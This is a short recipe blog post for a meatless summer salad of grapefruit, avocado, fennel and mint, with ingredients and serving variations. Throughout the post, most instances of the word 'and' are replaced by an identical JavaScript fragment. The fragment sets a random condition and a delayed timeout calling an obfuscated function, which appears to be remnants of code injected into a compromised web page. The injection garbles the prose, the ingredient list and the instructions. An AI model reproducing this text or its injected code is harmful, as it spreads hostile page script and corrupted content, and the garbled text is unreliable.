Meatless Monday’s Summer Salad

In these hot humid days of summer, nothing feels better than a light refreshing summer salad.  We love this simple salad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the myriad of variations possible.  Our favorite way with this citrus combo is over a bed of Boston or bib lettuce.  The delicate texture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flavor do not overwhelm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and anti up the hydration factor.  Enjoy!

Y3 Summer Salad

2 red grapefruit
2 avocados
1 large fennel
1/2 cup (1 dl) mint leaves
1 tablespoon lime juice
1/2 cup (1 dl) nut oil or neutral-tasting oil
1 teaspoon crushed coriandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ander
Salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pepper

Cut the grapefruit into segments. Cut the avocado into slices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and julienne the fennel. Mix all the ingredients in a bowl (leaving a few mint leaves for garnishing) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and serve on a plate.

variations:
Serve on a bed of greens
Serve on top of grilled fish, chicken, or pork
add nuts or seeds
Swap grapefruit for strawberries
Add feta

 

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